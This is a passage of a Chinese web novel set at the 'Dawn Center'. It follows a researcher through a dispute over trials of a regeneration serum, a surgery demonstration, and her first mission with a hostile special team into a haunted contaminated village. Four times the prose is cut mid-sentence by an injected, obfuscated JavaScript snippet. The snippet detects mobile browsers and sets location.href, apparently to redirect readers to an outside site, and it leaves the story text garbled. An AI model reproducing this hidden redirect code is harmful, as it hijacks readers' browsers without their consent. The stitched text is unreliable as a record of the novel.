在世界归于终寂前，她隐约意识到，这不是属于白乾的「过去」，而是她的「未来」。 17. 曙光中心15 第一缕晨光透过寻茵的眼皮，将她从那个黑色昏聩的梦中拉出来。 她睁开双眼，才意识到现在已经是第二天。 小刺猬早就回到了游戏背包，现在这里只有她。 看了眼时间，手机上的日期也随之映入眼帘，她意识到，距离游戏开始，已经过去三天的时间，今天是第四天，也是寻茵解剖教学的日期。 机械地咀嚼着口中的早餐，寻茵来到了曙光中心。 不过今天她没有去医疗部或是维安部，而是直接来到上次开会的休息室。 璩双看起来是第一个。 她指了指身边的位置，于是寻茵走过去坐下。 “来了，正式入职特殊一队后你可以申请曙光中心的宿舍。” 寻茵点点头，对此没什么异议，毕竟她现在住的也不要能量点。 璩双显然也有所耳闻，因而并未多说什么。 “这场会议就是为了商议由你提出的方案。”璩双道。 还没等她再说些什么，其他人也三三两两在会议室落座。 这些人里，寻茵至少跟一半人有交际。 “今天我们探讨的就是，能否将再生胚体直接投入临床。” 璩双坐在首位，左手边是寻茵，右手边是天屿。 “这是在小白鼠身上的实验报告，我们发现再生胚体可以治愈绝大部分重伤创口，甚至有一部分抗病毒作用，如果投入污染区作战中，能够降低大部分伤亡。” “我不同意。”长桌末尾的人提出质疑，寻茵观察着对方，发现自己对这张脸没有丝毫印象，至少，上一次会议她并没有出现。 “目前再生胚体的实验报告只有这一份，而且并不是人体实验，一旦投入临床，在战场上发生什么意外，都会危及到她们的性命。” “她们可以死在污染区里，死在遗落之骸手下，绝不能死在来路不明的研究物，和不负责任的决定下。至少，我作为特殊部门的部长，绝不会允许任何有可能危及她们性命的事情发生。” 天屿轻笑：“宣鳞，你这就说错了，难道我们会给自己的战士下毒，让她们去送死吗？你也听到了，小白鼠的实验报告说明，再生胚体可以治愈绝大部分重伤创口，这难道不比她们重伤后被队友抛下等死强？” “这不是你的人，”宣鳞用冷漠的眼神警告天屿，她不经意间扫过寻茵，“而且，来路不明的礼物，你们难道不怕是淬毒的糖果吗？” “的确不是我的人，但也不是你的人。她们供职于神庭，效命于神庭，而不是效命于一个叫宣鳞的人。”天屿讽刺道，二人之间的火药味十足，看样子早有恩怨。 “天屿，你宁愿护着一个外人？” “你说错了，鉴于她在维安部学习了三天，恐怕外人是谁还不好说。” “我们之间非得这样吗？”宣鳞的眉头紧紧皱起，她反问道。 天屿的面色却倏地冷了下去：“你早该知道，当你放弃她的时候，我们之间就只能这样。” 寻茵在一旁听得云里雾里，但还是意识到二人之间吵架的内容已经完全由再生胚体歪到其他地方去了。 “够了。”璩双的声音并不大，却刚好让二人之间弥漫的火药味降下来些。 “我们现在讨论的是是否投入临床，如果你们想吵架，就到外面去吵，如果打架导致设施损坏，记得赔偿。” “现在继续。其他人有什么意见？” 见璩双的视线落在自己身上，拜厄斯讪讪一笑：“我还是认为需要临床……你知道，小白鼠可没有什么精神能量团，而我也不能理解它们的意识，所以再生胚体是否会对精神方面造成影响，如果不临床，我永远都没办法知道。” 察觉到宣鳞阴沉的眼神看向他，拜厄斯很快找补：“当然，如果要投入临床，我认为还是需要宣鳞的支持，毕竟这件事关乎最大的是她手下特殊部队的成员。” “……” 璩双当然知道拜厄斯想谁也不得罪，但他说得也有道理，就算所有人都同意临床，只要宣鳞不同意，这件事就很难进行下去。 但至少现在，宣鳞的态度并没有软化趋势。 “临床这件事是必然，宣鳞，你有什么不放心的地方赶紧提出。并且在临床前，我们会先将其试用在人体上，以获得人体数据，之后才会投入临床。” “所以你完全不用担心白乾是否别有用心，”璩双看着宣鳞，“除非你不是不信任白乾，而是不信任我。” 宣鳞冷笑一声：“没有。我当然没有不放心。” “对了，我记得这位白乾研究员，最终入职的身份是特殊一队的随队医生？” 众人都被这猝不及防的话题转移弄得一愣，宣鳞显然从众人的反应中得到答案，她盯着寻茵，没什么感情地勾了勾唇角：“既然是这样，白乾研究员应该不介意跟我们一起训练吧。” 璩双忍不住皱了皱眉：“别做的太过分，宣鳞。白乾还需要跟我一起处理实验数据。” “做的太过分？”宣鳞的瞳色更冷了些，“恐怕比不上各位。再说了，只是训练而已……还是说，白乾研究员不敢接受？” 挑衅近在眼前。 宣鳞显然将这件事算在了寻茵头上，所谓的训练，恐怕是一种发泄。 寻茵不喜欢被人误解，更不喜欢被人威胁，她只是平静地看着宣鳞：“可以。” 接受挑战，获得胜利，这是她最擅长的事情。 当事人都接受了，其他人自然没有什么好说的。 这场会议最终就这样散去，事后，璩双将寻茵留了下来。 “宣鳞的训练恐怕不会很好过，受伤是最轻的事，恐怕……” 如果她没什么理智，很可能是冲着寻茵的命来的。 寻茵看着璩双，笑了笑：“但您看起来对我很有信心。” “不是我对你有信心，”璩双顿了顿，“你或许没发现自己在战斗上的天赋有多强，你的两次战斗都是A级实力的遗落之骸，宣鳞不会放过这种天赋的人才。” “更何况，还有非常重要的一点，你的自愈能力，足以让宣鳞见证到再生胚体的奇妙之处。” “我认为她会同意的，就算临床试验会往后推。” 寻茵静静听着璩双说的话，对方说的时候很有把握。 没错， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238613|166180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 显然宣鳞也知道自己的反抗不过是一时的。 她反对的只是用自己的属下做实验，而不是再生胚体本身。 既然这种能力能够帮她降低队员的伤亡，那么真心爱护属下的她就更不应该放过这样的东西。 而寻茵，不过是璩双抛出来安抚宣鳞的礼物。 寻茵冷静地剖析着，心中没什么波动。 “宣鳞就是特殊一队的队长，同时她也是特别行动部的部长。特殊一队原本应该在十天后回归，但是这次的探索似乎出了什么问题，导致她们提前回归。” “之后我会给你一份资料，方便你了解她们，更好融入特殊一队。” 见寻茵点了点头，璩双思忖：“既然是这样，那我们上午就可以开始尝试路易斯的实验，下午你暂时去特殊部门报道，熟悉一下特殊部门。” …… 曙光中心，特殊部门 二队休息室 “你是说，一队又要进一个随队医生？我记得上一个随队医生好像才死了不超过半个月吧……连追悼都没有，直接无缝衔接啊。” “别管这个，我听说这个很不一样，她之前好像没有污染区战斗经验，身份是研究员？” “不是吧，研究员？！一队不会还得一边保护她一边进污染区……” “你想多了，一队要是会保护随队医生，她们的随队医生就不会半个月换一次。” “买定离手，开赌这一回一队的随队医生多久更换。” “我之前都押半个月，这次也一样。” “那我赌三天，押5000能量点。” “哟，你小子这么富，该不会去污染区捡到什么高等级核心了吧。” “少来，我是对这件事很有信心。” 就在这时，休息室的门被打开。 还在嘻嘻哈哈的几人一下就站直了。 “部、部长……” “不用藏了，你身后的东西尾巴都露出来了。” 几人讪讪地将手中的东西放在宣鳞面前。 “这开的是什么盘。” 迎着宣鳞似笑非笑的眼神，其中一个人顿了顿，还是决定不要那么诚实，毕竟之前宣鳞从来没管过这件事。 “没啥……就是赌我们下次进污染区能杀几个……” “是吗？周态然，骗我的话，就跟我们新成员一起训练。” 周态然立即滑跪：“就……就是猜这回新成员能呆多久……” 说着，他偷偷抬眼观察宣鳞的脸色，却没想到她拿过那个电子寄存器，“嘀——” “一万能量点，来自，宣鳞。”电子音汇报着。 她唇角泛着一丝冷笑，看得几人身上汗毛直竖。 “我押，一天。” 直到宣鳞将电子寄存器抛回周态然身上，他都还没反应过来。身边人捅了捅他，低声道： “不会吧，部长怎么忽然参与进来了，我记得她之前从来不管这种事……而且还是一天。” 回过神，周态然道：“只能说明部长很不喜欢这个新来的呗。” 这一切，置身于风暴中心的寻茵尚且未知。 18. 曙光中心16 寻茵此时已经换上手术服，璩双站在她身边，注射了足够剂量的刘毅就躺在手术床上，他的眼睛睁得非常大，甚至有些外凸。 璩双的手术服与寻茵有一些不一样……她的手术服上有多个袖口，寻茵看着那个袖口慢慢充盈起来，随后，六只手分别从袖口中穿出。 “这是……” 寻茵怔了一下，璩双看她一眼，道：“这是我的义体，能帮助我在一个人的情况下更好地进行手术——当然，你的触手显然也不仅只能够用作攻击。” 说着，她一双手上拿着手术刀，另外的手拿着纱布——防止她切下去时被涌出的血液干扰视线。 寻茵沉默地旁观着璩双，看着她有条不紊地将刘毅剖开，取出里面的东西。 这是她第一次旁观手术，在此之前她会一些简单的伤口处理——现实世界她经常这么做，无论是大量出血还是被什么东西击中，但这种方法显然只能用于应急。 璩双的手法干净利落，非常漂亮，但这种事显然需要不是光看着就能学会的，更需要数次练习。 大量失血已经让刘毅的瞳孔微微扩散，陷入半休克状态，璩双的另一只手拿起一个注射器，这里面是再生胚体的部分原液，经过了多次稀释。 就在演示完毕的瞬间，璩双将注射器推入刘毅的身体。 刘毅的双眼忽然瞪大，身体开始不停抽搐，脖子上的青筋暴起，他发出一种痛苦的呻吟：“嗬……” 随后，创口处的皮肉开始增生，以一种肉眼可见的速度，最终将血液推回他的身体。 灰白的面色渐渐出现一丝红润，他胸口处的起伏非常显著。 约莫十几分钟的时间，刘毅恢复平静，闭着眼躺在床上。 他的身体上依旧覆盖着各种血痂，但将这些血痂与之前直接将人体切开的伤口比起来，那就不值一提。 “我取出了他的一颗肾，用来检测再生胚体是否会使器官再生。” 寻茵：“……这是多少浓度的原液？” “5%，已经是很高的浓度了。显然，用于急救的效果超乎想象。” 璩双摘下手套，很快就有人进来将刘毅推去做身体检测。 “如果是给特殊部门的人进行注射，会采用哪种浓度？” “不会超过1%，”璩双说着，“小白鼠实验中发现，高浓度再生胚体会催发基因，导致机体异变，对人体而言，10%已经是限制异变的最高浓度，浓度5~10%基本具备治愈濒死的能力，1%足以治愈绝大部分外伤。” “数据需要等检测结果出现，恐怕至少要明天，”璩双向着自己的办公室走去，“来吧，比起这个，对你来说特殊一队的文件更加重要。” 随手关上办公室的门，璩双将桌上的文件递给她。 寻茵快速浏览了一遍。 特殊一队共有十一名成员，其中随队医生的职位经常空缺，基本都在污染区丧命，侥幸能活下来的出了污染区后也会自己提出离职。 甚至有传闻说这个职位是被诅咒的。 特殊一队成立多年，下过的污染区不计其数，是曙光中心特殊部门的先锋部队。 寻茵注意到，这个诅咒传闻是从宣鳞带队后的第一任随队医生死亡后出现的。 她忽然想到天屿和宣鳞之间的争端，其中牵扯到的‘她’，会是这第一任随队医生吗？ “你最好能将这些资料牢牢地记在脑子里，我也不清楚宣鳞的训练究竟是什么，但恐怕不会很简单。” …… 走进特殊部门，寻茵撞见一群人聚在一起，议论的声音让她停住脚步。 “你是说……部长也参盘了……还投一天？” “不会真的变成史上最快离职的新人吧……” “我就说研究员来当这个不靠谱啊，跨行业要不得。” 显然，她就是所谓的新人。 寻茵挑挑眉，向那边走去。 周态然此时还在喜滋滋地数着能量点，这个盘有了部长的加入，可谓越开越大，比之前的大了五倍不止。 直到一双手拍在他肩上，他下意识看过去，一个非常陌生的人带着微笑看着他：“你……谁啊，也是来参盘的？” 对方点点头，周态然一下就兴奋起来了，没再奇怪对方陌生的面孔：“行，1000能量点起押，我建议你押一天，这可是我们部长下的，很多人都跟押了。” 然而对方摇摇头，周态然撇撇嘴，既然对方不识好人心，他也就不准备再提醒了。 “1000能量点，来自，白乾。” 下完注，周态然发现那个陌生人就不见了，当他低头看向电子寄存器时，‘一直’那个写来凑数的选项下，赫然放着1000能量点。 还没等他反应过来，身边有人大声惊呼：“这是哪个傻子压的一直？” 周态然眨眨眼，忽然反应过来，不是特殊部队的人根本没有通行权限，而特殊部队本来人就不多，哪怕是其他部队的人，也至少看个脸熟，哪有什么陌生人？ 除了……他们开盘的这位正主。 周态然：“……”精彩，太精彩了。 开盘开到正主脸上，何尝不是一种贴脸开大呢。 此时被贴脸的正主已经根据宣鳞给的地址来到一队休息室。 当寻茵推门进入的时候，所有人都朝她看来，寻茵注意到她们统一的穿着，款式干练，材质特殊，看起来似乎下一刻就要前往污染区。 “你的队服。”一个人递给寻茵一件衣服，寻茵在璩双给的资料里见过对方，特殊一队的副队长，司怀。 寻茵接过衣服，打量了一下，直接换上。 队服看不出是什么材质，前胸的位置有一块金属胸牌，刻着几个字【一·12】。 “现在所有人都到齐了。” 宣鳞并没有关注寻茵，也没有给她一个下马威，或者说，在新人加入的情况下，这种忽视就是一种下马威。 “补充完所有物资之后，我们要再度深入污染区，一小时后出发。” “是。”在整齐的应答声中，寻茵没有开口，而是看着对方。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250812|166180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果不其然，宣鳞注意到这点，瞳色泛冷：“白乾，你的回答呢。” 寻茵站在原地，看着所有人向她投来的目光，如果真的是一个而普通人，在这种压力之下很可能稀里糊涂地回答，又被带进污染区稀里糊涂地丢了命。 视线从对方胸前的【一·1】上掠过，她不卑不亢地提出质疑：“请问是哪一个污染区，任务目标又是什么，以及……这算是我的训练吗？” “你的问题太多了。新人，我教你的第一课就是，老老实实闭上嘴，然后完成你的任务。” 身后忽然出现一只手，带着一种不可抗拒的力道向她的肩膀拍下，如果站着不动，恐怕肩胛骨粉碎是最轻的后果，而宣鳞绝对不会判定她通过试炼。 所以寻茵接住了对方的手：“不好意思，我不喜欢别人碰我。” 在场众人的眼中均闪过一缕异色，究竟是什么情绪，寻茵懒得分清。 “我想，这是一个合理诉求。还是说，队长要让队员在一无所知的情况下去送死？”寻茵的唇边带着如沐春风的笑容，看起来毫无威胁。 “资料我稍后会传给你。”司怀开口，打破僵局。 “这是我的训练吗？有没有上报呢。”寻茵并没有因为对方没回答就放过这个问题。 “别忘了，你现在是我的队员，而不是研究员，我就是你的上司，负责你的一切，不需要向任何人汇报。是否通过的标准也由我评判。”宣鳞冷冷地看向寻茵。 寻茵对此微微挑眉，没有丝毫被对方反将一军的尴尬，她唇边的笑容显得非常玩味：“那么标准是什么？” 宣鳞显然已经被她弄得非常不耐，她眼中闪过一缕凶光：“活下来。我们不会为你提供任何帮助，活下来，就判定你通过。” 寻茵当然不是故意要惹恼对方，她只是需要一个明确的答案，以确保她不是在做无用功。 她看着宣鳞离开，剩下的人目光也并不算友好，这是司怀走上前，递给她一个只有半个掌心大的黑盒子，看着她道：“这是你的通讯器，资料已经导入里面。进入污染区后，手机很可能会被磁场干扰，没办法联系。以及，你可以去器械库准备一下，选取合适的资源用于污染区作战。” 从寻茵进来为止，司怀都没露出什么表情，看起来对寻茵也没有多余的恶感。 寻茵微微挑眉：“那就多谢副队长了。” 司怀，团队当中的智囊，性格冷静到有些冷漠的地步，她会提出最合适的方案而不考虑伤亡。 寻茵猜测，对方说的这番话，目的并不在于增加她活下去的概率，而在于如何让她发挥最大的价值。 恐怕早在璩双将特殊一队的资料给她之前，她的资料就已经明明白白摆在二人的书桌上了。 寻茵并没有在一队的休息室呆多久，毕竟就像司怀所说的，她需要选取合适的装备用于污染区作战——不仅使为了活下去，也为了能在其中捞到一些核心，不管是兑成能量点还是喂给触手或小刺猬，都会是一个巨大的消耗量。 家庭的重担牢牢地压在她身上。 19. 丰和村1 任务污染区是寻茵之前在新闻里看到过，被扩张吞噬的那个村子。 也就是说，这个污染区很可能是塞西尔失踪的那个污染区， 坐在特殊一队的任务车里，寻茵没有去听其他人聊天，她将自己的目光投向窗外。 进入被划定的污染区域时，寻茵注意到沿途景象与之前路途极为不同。 像是笼着一层迷雾一般，昏暗的天幕一直盘旋着叫声凄惨的乌鸦，地面干涸称一块块的碎痕，像是某种斑纹。 从干枯的树干和没有叶子的枝条可以看出它原本显然是何等青翠欲滴，茂盛而鲜活的景象。 现在看起来，像是被抽去了全部生机一般。 再向里走，众人能看见一个村庄，这个村庄看起来简直荒废了上百年，而当寻茵看见村庄口竖起的石碑上的名字时，就意识到她的想法大错特错。 ——丰和村。 据司怀提供的资料上，记载着这么一句话：丰和村景色秀丽，环境雅致，村里的人都极为长寿。 在这个世界，寻茵了解到，如果是因为器官老化导致的衰老，只要由足够的能量点，完全可以去回收中心找到类似于灰鼠或刘毅这样被误杀，又或者成为‘黑户’没得到保障而丧命的人的健康器官作为替换。 因此，长寿并不是一件很奇怪的事情。 但是这个村子里的人显然没有足够用的能量点能够让他们随意更换器官，那么对方究竟是因为什么才导致如此长寿？ 外界对此有诸多猜测，但最后都不了了之。 调查这个村庄并不是特殊一队的主要目的，但进入扩张污染区需要穿过这个村庄。 眼前村庄的道路显然不足以容纳这辆长条形的任务车，于是几人在石碑面前下车，准备暂时在村庄休整。 到达污染区时，天色看起来已经非常昏暗，这个时间进入污染区显然不是什么很好的决定，好在特殊一队此前已经进入过污染区，因此村庄内有她们收拾出来的临时庇护所。 当寻茵下车时，她感到一种难言的古怪。 太安静了。 无论是虫鸣，风声，甚至头顶盘旋的乌鸦也没有发出任何声音。 整个村庄似乎只能听见她们的脚步声。 众人整齐列队，两人并行，分成六排，以保证不会掉队。 寻茵的队友就是之前想用手掌教她做人的那个。 见是和寻茵一组，她发出一声冷哼。 村庄地面由碎土堆积组成，但还算平整，只是踩下去会发出一些干燥的沙沙声，留下一些足迹。 道路的两旁就是村民的家，看起来非常由有生活气息，所有的村民窗前都挂着不知道是什么生物的肉干，房子前的架子上晒着一些其他的口粮。 但如果仔细观察，就不难发现，窗沿上，食物上都堆积着一些细细的沙。 几人的脚步没有停滞，跟随着宣鳞一直向前。 渐渐的，周围的空气变得浑浊，能见度越来越低，寻茵似乎有些看不清前方的人影。 几乎是瞬间，警惕从寻茵心底升起。 她不着痕迹地拍了拍身边人，寻茵几乎可以预见对方嫌恶的模样——但是没有，对方像是一块木头，麻木地向前并未对此做出任何反应。 寻茵立即止步，看着对方的身影越来越远，忽然，在已经完全看不清的队伍前方传来宣鳞声音：“快点跟上，不要掉队。” ……对方真的是宣鳞吗？ 寻茵没动，摸出在器械库薅来的手电筒，打开后她发现，在光的映照下，空气中漂浮着的似乎并不是灰尘，而是某种类似于蒲公英种子一般的存在。 她的眉头不着痕迹地皱了下，从包里掏出一个防毒面具戴在脸上，隔绝这些种子通过呼吸道进入身体的可能。 她没有选择跟随这支未知的队伍继续前进，而是随手拉开了一间屋子。 里面非常昏暗，她看着而门边垂下来的一根电线，试探性拉下，昏黄的灯光忽然了亮起，将周围的环境照得一清二楚。 这间屋子里的摆件并不多，给莉兹家里相差无几，柜案上供奉着一个看不出是什么的木头摆件，还有两盘供果和蜡烛。 灯泡下方的木制饭桌上放置着几盘菜，都是肉菜，看起来色泽鲜亮非常，然而当寻茵凑近才发现，盘子里的肉上爬满了大大小小，圆滚滚的蛆虫。 寻茵后退两步，她皱起眉，走进里间。 里间的摆设更加简单，看起来甚至没什么好说的。床上只有一床看起来不知道睡了多久的，都结成硬块的棉被。 她打开箱子，里面是各种零碎的东西，有各种修理工具，一本书，甚至发卡和耳钉等等。 ……这不是一个人的东西，甚至不会是这间房子主人的东西。 她各挑出一样，装进包里，退出屋子。 迷雾更浓了。 而且—— 雾里有东西！ 当寻茵意识到这一点时，她眼前的白光一闪，再睁开眼时，她发现自己就跟在队伍里。 身边的人似乎正因为寻茵不小心碰到她而发出嘘声。 这是怎么回事……？ 刚才是梦？还是某种幻象？ 寻茵绝不会在这种情况下睡着，更别提做梦。 她不动声色地观察着这支队伍，显然，她们依然跟着宣鳞指引的方向前进。 此时天色已经完全黑了下去，但周围的环境是清晰的，并不像寻茵之前看见的，由那些未知种子所导致的朦胧景象。 终于，队伍停了下来。 她们抵达了。 面前是移动低矮的平房，看起来比之前路过的房子都更大些。 寻茵走进，在里面发现各种临时用具。 除寻茵以外，其他人看起来对这里比较熟悉，各自去拿了自己的睡袋。 寻茵没有动作，她只是站在窗前。 之前与寻茵同行的人叫武嘉莹，见寻茵站在那，不怀好意道：“你不会没带睡袋吧……没关系，在地上睡一晚就当长教训了，下次，不，有没有下次还不一定呢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15256778|166180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寻茵将视线从窗户外漆黑的夜色中收回，闻言似笑非笑地看向她，从背包中拿出睡袋。 “不好意思，让你失望了。” 没见到寻茵倒霉让武嘉莹不太愉快，她冷哼一声：“算你好运。” 寻茵看她一眼，从背包里摸出一块压缩饼干，混着饮用水吞了下去，随即拉上睡袋，闭上眼睛，开始保存体力。 尽管不明白对方究竟是哪一点看自己不顺眼，但寻茵懒得深究，刚在站在窗前的时候，她总感觉有什么东西在盯着这栋房子——又或者说，是房子里的人。 今晚恐怕有场硬仗要打，没有多余的时间休息。 所以她不打算将时间浪费在无用的争执上。 从睡袋拉上的那刻起，她的世界陷入一片昏暗。 武嘉莹目瞪口呆地看着那个新人动作利落地解决完晚餐后，迅速钻进睡袋，拉上拉链，与她隔绝交流。 她指着那个睡袋，看了看身边人，刚想开口说什么，一只手搭上她的肩膀，她转过头：“司怀姐……” 司怀拍拍她，秀丽的脸上没有什么表情，视线掠过那个毛毛虫蛹似的睡袋，又落在武嘉莹身上：“抓紧时间休息。” 随后回到宣鳞身边。 宣鳞晃了晃手中那管泛着蓝光的透明液体，视线一定停留在上面：“你怎么看。” 司怀没有坐下，她靠在墙边，冷静分析：“她对危险有非常敏锐的直觉。” 闻言，宣鳞的视线落在寻茵睡袋上，又看向司怀：“你的意思是，她发现了我们没发现的危险。” “我认为是的。从进来后，她的视线在窗户上停留了将近六分钟，如果不是在发呆，那就是发现了什么。” 似乎意识到宣鳞打算问她为什么不能是发呆，司怀又道：“她对武嘉莹的挑衅迅速做出回应，这证明她其实一直都在很警觉地关注这自己身边的环境，确保自己能对危险，又或者其他事情立即做出反应。” 宣鳞沉默一会：“你认为一个普通的研究员能做到她这个份上吗？” “可能性很低，但不是完全没有。” “但她独自解决了两个A级遗落之骸。” 这回轮到司怀沉默一会：“我记得你应该看过她第一次的作战记录，那是她对于遗落之骸表现得非常陌生。尽管那是A级食尸鬼，但你是知道的，非主场战斗，并且没有领域，实际上只有B级的水平。” “至于另一个……那也并不是战斗类型的遗落之骸，如果她的脑子够机灵，运气恰好不赖，做到这样的事情概率大大增加，与她自身的实力并没有太大关联。” 只有一点，司怀没说，但她知道对方也明白。 这个新人看起来并不像那种毫无战斗经验的人，她的动作非常果断老辣，战斗时也非常冷静。 她知道宣鳞对新人心有疑虑，又因为她加入的职位和再生胚体对她更加不喜，但至少战前不应该出现这样的问题。 一旦她们遇到那种擅长玩弄人心的遗落之骸，这将成为她们的致命缺陷。 20. 丰和村2 璩双得到路易斯注射再生胚体的数据后，将其传给白乾，并通知她看到后来自己办公室一趟。 然而一一直等到下班，对方也没有接收这份文件。 尽管百思不得其解，璩双也只当对方有什么事情，准备明早白乾来上班时再说。 当她走出办公室，恰好撞上天屿。 天屿只愣了一下，笑道：“难道再生胚体有什么新发现吗，你加班加到这么晚？” “没什么发现，”璩双扬了扬手里打印出来的表格数据，随口道：“我只是在办公室里等白乾针对第一组数据进行讨论，在等她的过程中顺便处理了一下资料，时间就到这么晚了。” “等白乾？” 天屿的表情古怪了一些：“你不知道吗？她进污染区了，就在今天下午。” “什么？”璩双反问了一遍，眉头皱得很紧，几乎怀疑自己听错了。 “宣鳞带队，这是她的训练。”天屿看着璩双，她微微勾唇，“我还以为你知道，由或者说，是你默认的。” 璩双：“……” 她的脸色非常难看：“我不会做这种事。至少，在再生胚体投入使用前，我都不会让白乾死掉。” …… 寻茵睁开眼。 室内仅有一盏小灯亮着，她摸出通讯器，看了眼上面的时间，距离入睡前大致过去不到四个消失。 昏暗的光线不足以照亮全部空间，大片的阴影存在，让寻茵无法看清。 随手摸出背包里的防毒面具戴上，她将睡袋收紧背包，安静等待异变降临。 “……不睡吗？” 寂静的黑夜里，有人这么问她。 寻茵循声望去，才发现司怀已经从睡袋里坐了起来，尽管她无法看清对方的面容，但从声音中可以听出对方并无困倦疲惫之意。 寻茵没有回答这个问题，她凝视着大门防止能量波动检测器的位置，说道：“要来了。” 让寻茵意外的是，对方似乎非常相信她这句没头没尾的话，很快啊，所有人都被她叫了起来。 众人盯着大门位置…… 五分钟过去了，大门处的检测装置没有任何反应。 武嘉莹打了个哈欠，脸上表现出轻微的不耐：“第一次出任务，紧张是可以理解的，但是没必要把所有人都叫起来陪你一起紧张吧，你不休息别人还需要休息呢。” 话落瞬间，检测装置忽然爆发出一种烧开水般剧烈而尖锐的鸣叫！ 显然，这可不是寻茵过度紧张。 众人瞬间进入战备状态。 检测装置只有提醒。而无抵御作用，因此当大门开启后，并未出现什么怪物，这让众人面面相觑。 寻茵宣鳞的面色反而沉重起来。 “看起来是幻境。”司怀的表情没有变化啊，她冷静说道。 “幻境？我记得幻境达成条件应该很苛刻才对……” 武嘉莹说道，她在队伍中的定位是典型的战斗输出，但战斗输出在幻境方面的优势并不大，很容易被压制。因此她感到非常憋闷。 没人回答武嘉莹的问题。 寻茵抬脚，向着门口走去。 “你要做什么？” “你想怎么做？” 两道声音同时响起，分别来自宣鳞和司怀。 寻茵略微偏了偏头：“当然是出去调查，呆在这里永远都不会知道这个村子有什么问题。” “但是外面显然并不安全，你确定吗？”司怀继续询问。 “呆在里面是晚死，走到外面，死亡和活下去的比例是对半开，我还不想死，自然要选一个更有生路的选择。” 她的手指已经触碰到大门时，听见身后跟上来的脚步声。 宣鳞与她并肩，她没有看寻茵，说道：“……我才是队长，跟在我身后。” 寻茵愣了一下，寻思着这个时候对方总不能是在彰显队长权威吧？ 百思不得其解，于是寻茵照对方说的更在身后，众人默默结成长队，有序地走出。 不同的是，这一回，寻茵不在队伍末尾，而是在第一排。 外面的空气已经变成寻茵之前看见的一样浑浊，她摸出手电，光束将空气中的异物照得非常明显。 宣鳞立即会意：“带上防毒面具。” 在之前的任务也中，宣鳞等人也遇到过那种混杂在空气中的某些东西，通过呼吸道进入体内，随后影响□□和神智的情况。 带上面具后，周围的能见度变得更低，天色也十分黑暗，她们手中的手电成为唯一的光源，然而在这景象下，这点光源就像泥牛入海，只能照亮身边人的位置，再远些就看不清了。 寻茵醒来时看过时间，现在的时间大概在凌晨两点左右。 好在白天时村庄的位置还有印象，至少众人可以确定道路上没有什么障碍。 “你为什么会知道空气里有东西？”隔着防毒面具，宣鳞的声音听起来有些失真。 寻茵的手电扫向周围的房屋，将自己之前看见的景象说了出来。 “之前为什么不说？” 听见这样的问题，寻茵看了宣鳞一眼，面具隔绝了对方的表情：“没必要。” 是的，没必要。 就算那个时候寻茵说了，她们也不一定会相信。 宣鳞没再说话，她向着村庄深处走去——她打算直接穿过村庄，现在就进入污染区。 然而在黑漆漆又静默的深夜，这条道路似乎永远也没有尽头。 “不对劲。” 宣鳞忽然停了下来，她道。 “你还记得外面从村口走到休息的地方，花了多久吗？” 身边的司怀回答道：“十五分钟。” 没有纠结这是怎么得出的，她问道：“从我们出发到现在，走了多久？” “二十一分钟。” 寻茵摇摇头，将手电筒的光照到脚下斑驳的痕迹，看起来已经被人反复踩过多次，各种足迹交杂在一起。 “不用再向前了，我们走不出去。因为我们一直在原地踏步。” 有人不可置信地嘀咕：“怎么可能，我感觉自己一直在往前，没有转弯。” “你有什么想法？”司怀向寻茵问道。 “为什么询问我的意见？”寻茵扬了扬眉，“你们才是队长。” “你是最先发现问题的，”宣鳞淡淡道，“我不会将个人恩怨放在队员安危之上。” 是吗？可自己怎么记得任务前似乎有人说，她不会为寻茵提供帮助？原来是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15264092|166180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为她还不算她的队员吗？ 没再纠结，她说：“如果对方一定要将我困在这里，那我们就在这里调查吧。就像村民的屋子，说不定，我们能在里面找到一些有趣的东西呢。” 宣鳞道：“那就分散调查，两人一组，搜查这些房子，查查看这个村子究竟发生过什么事情。” 说完，她看向寻茵：“你跟我一组。” 寻茵耸耸肩，只当默认。 二人随便挑了一间屋子推门进去。 推门的瞬间，宣鳞皱了皱眉，忍不住道：“这里面好冷……” 